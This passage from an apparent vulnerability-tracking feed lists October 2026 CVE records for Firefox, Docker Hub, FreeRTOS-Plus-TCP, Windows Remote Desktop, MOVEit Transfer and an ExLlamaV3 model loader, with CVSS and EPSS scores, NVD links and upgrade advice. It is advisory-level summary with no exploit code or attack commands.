Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Other issue in the Address Bar component.
https://kevwire.com/record/CVE-2026-109747
Other issue in the Address Bar component. (Oct 13, 2026).
Other issue in the Address Bar component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.
CVSS 7.3 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109747).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109747&date=2026-10-25).
Sources:
NVD CVE-2026-109747: https://nvd.nist.gov/vuln/detail/CVE-2026-109747
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109747&date=2026-10-25
Other issue in the Address Bar component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigation bypass in the DOM: Security component.
https://kevwire.com/record/CVE-2026-109746
Mitigation bypass in the DOM: Security component. (Oct 13, 2026).
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.
CVSS 7.3 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109746).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109746&date=2026-10-25).
Sources:
NVD CVE-2026-109746: https://nvd.nist.gov/vuln/detail/CVE-2026-109746
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109746&date=2026-10-25
Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape due to uninitialized memory in the DOM: Web Serial component.
https://kevwire.com/record/CVE-2026-109745
Sandbox escape due to uninitialized memory in the DOM: Web Serial component. (Oct 13, 2026).
Sandbox escape due to uninitialized memory in the DOM: Web Serial component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 9.6 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109745).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109745&date=2026-10-25).
Sources:
NVD CVE-2026-109745: https://nvd.nist.gov/vuln/detail/CVE-2026-109745
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109745&date=2026-10-25
Sandbox escape due to uninitialized memory in the DOM: Web Serial component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token...
https://kevwire.com/record/CVE-2026-105445
An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token... (Oct 13, 2026).
An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token (PAT) they controlled to another Docker Hub user without rotating or revoking the token secret. The unchanged PAT then authenticated to the registry as the recipient and could pull, push, or delete images, within its scopes, in repositories accessible to that user, including organization repositories.
CVSS 9.4 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105445).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105445&date=2026-10-25).
Sources:
NVD CVE-2026-105445: https://nvd.nist.gov/vuln/detail/CVE-2026-105445
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105445&date=2026-10-25
An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token (PAT) they controlled to another Docker Hub user without rotating or revoking the token secret. The unchanged PAT then authenticated to the registry as the recipient and could pull, push, or delete images, within its scopes, in repositories accessible to that user, including organization repositories.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen...
https://kevwire.com/record/CVE-2026-102552
Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen... (Oct 16, 2026).
Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen address into the device's DNS cache via a forged DNS reply.



To remediate this issue, users should upgrade to version V4.4.2 and enable ipconfigDNS_CHECK_REPLY_SOURCE_IP.
CVSS 8.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102552).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102552&date=2026-10-25).
Sources:
NVD CVE-2026-102552: https://nvd.nist.gov/vuln/detail/CVE-2026-102552
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102552&date=2026-10-25
Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen address into the device's DNS cache via a forged DNS reply.



To remediate this issue, users should upgrade to version V4.4.2 and enable ipconfigDNS_CHECK_REPLY_SOURCE_IP.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party...
https://kevwire.com/record/CVE-2026-102551
Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party... (Oct 16, 2026).
Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party to influence an endpoint's IPv6 default gateway, on-link prefix, and address configuration via a crafted Router Advertisement.



To remediate this issue, users should upgrade to version V4.4.2.
CVSS 9.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102551).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102551&date=2026-10-25).
Sources:
NVD CVE-2026-102551: https://nvd.nist.gov/vuln/detail/CVE-2026-102551
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102551&date=2026-10-25
Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party to influence an endpoint's IPv6 default gateway, on-link prefix, and address configuration via a crafted Router Advertisement.



To remediate this issue, users should upgrade to version V4.4.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69992
Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69992).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69992&date=2026-10-25).
Sources:
NVD CVE-2026-69992: https://nvd.nist.gov/vuln/detail/CVE-2026-69992
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69992
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69992&date=2026-10-25
Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69994
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69994).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69994&date=2026-10-25).
Sources:
NVD CVE-2026-69994: https://nvd.nist.gov/vuln/detail/CVE-2026-69994
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69994
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69994&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69995
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69995).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69995&date=2026-10-25).
Sources:
NVD CVE-2026-69995: https://nvd.nist.gov/vuln/detail/CVE-2026-69995
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69995
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69995&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69996
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69996).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69996&date=2026-10-25).
Sources:
NVD CVE-2026-69996: https://nvd.nist.gov/vuln/detail/CVE-2026-69996
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69996
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69996&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69997
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69997).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69997&date=2026-10-25).
Sources:
NVD CVE-2026-69997: https://nvd.nist.gov/vuln/detail/CVE-2026-69997
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69997
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69997&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69998
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69998).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69998&date=2026-10-25).
Sources:
NVD CVE-2026-69998: https://nvd.nist.gov/vuln/detail/CVE-2026-69998
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69998
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69998&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70004
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70004).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70004&date=2026-10-25).
Sources:
NVD CVE-2026-70004: https://nvd.nist.gov/vuln/detail/CVE-2026-70004
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70004
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70004&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70013
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70013).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70013&date=2026-10-25).
Sources:
NVD CVE-2026-70013: https://nvd.nist.gov/vuln/detail/CVE-2026-70013
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70013
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70013&date=2026-10-25
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer.
https://kevwire.com/record/CVE-2026-89067
Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer. (Oct 14, 2026).
Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89067).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89067&date=2026-10-25).
Sources:
NVD CVE-2026-89067: https://nvd.nist.gov/vuln/detail/CVE-2026-89067
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89067&date=2026-10-25
Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module).
https://kevwire.com/record/CVE-2026-89068
Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module). (Oct 14, 2026).
Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89068).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89068&date=2026-10-25).
Sources:
NVD CVE-2026-89068: https://nvd.nist.gov/vuln/detail/CVE-2026-89068
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89068&date=2026-10-25
Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module).
https://kevwire.com/record/CVE-2026-89069
Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module). (Oct 14, 2026).
Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 8.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89069).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89069&date=2026-10-25).
Sources:
NVD CVE-2026-89069: https://nvd.nist.gov/vuln/detail/CVE-2026-89069
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89069&date=2026-10-25
Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module).
https://kevwire.com/record/CVE-2026-89070
Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module). (Oct 14, 2026).
Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89070).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89070&date=2026-10-25).
Sources:
NVD CVE-2026-89070: https://nvd.nist.gov/vuln/detail/CVE-2026-89070
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89070&date=2026-10-25
Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module).
https://kevwire.com/record/CVE-2026-89071
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module). (Oct 14, 2026).
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89071).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89071&date=2026-10-25).
Sources:
NVD CVE-2026-89071: https://nvd.nist.gov/vuln/detail/CVE-2026-89071
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89071&date=2026-10-25
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module).
https://kevwire.com/record/CVE-2026-89072
Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module). (Oct 14, 2026).
Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89072).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89072&date=2026-10-25).
Sources:
NVD CVE-2026-89072: https://nvd.nist.gov/vuln/detail/CVE-2026-89072
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89072&date=2026-10-25
Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module).

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds.
https://kevwire.com/record/CVE-2026-84286
ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds. (Oct 12, 2026).
ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds. A malicious model can force the code to read and invoke an out‑of‑range function pointer, resulting in a reproducible crash. Under specific conditions involving certain host memory layouts, it may be possible for an attacker to exploit this vulnerability to achieve controlled indirect kernel dispatch during model load.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84286).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84286&date=2026-10-25).
Sources:
NVD CVE-2026-84286: https://nvd.nist.gov/vuln/detail/CVE-2026-84286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84286&date=2026-10-25
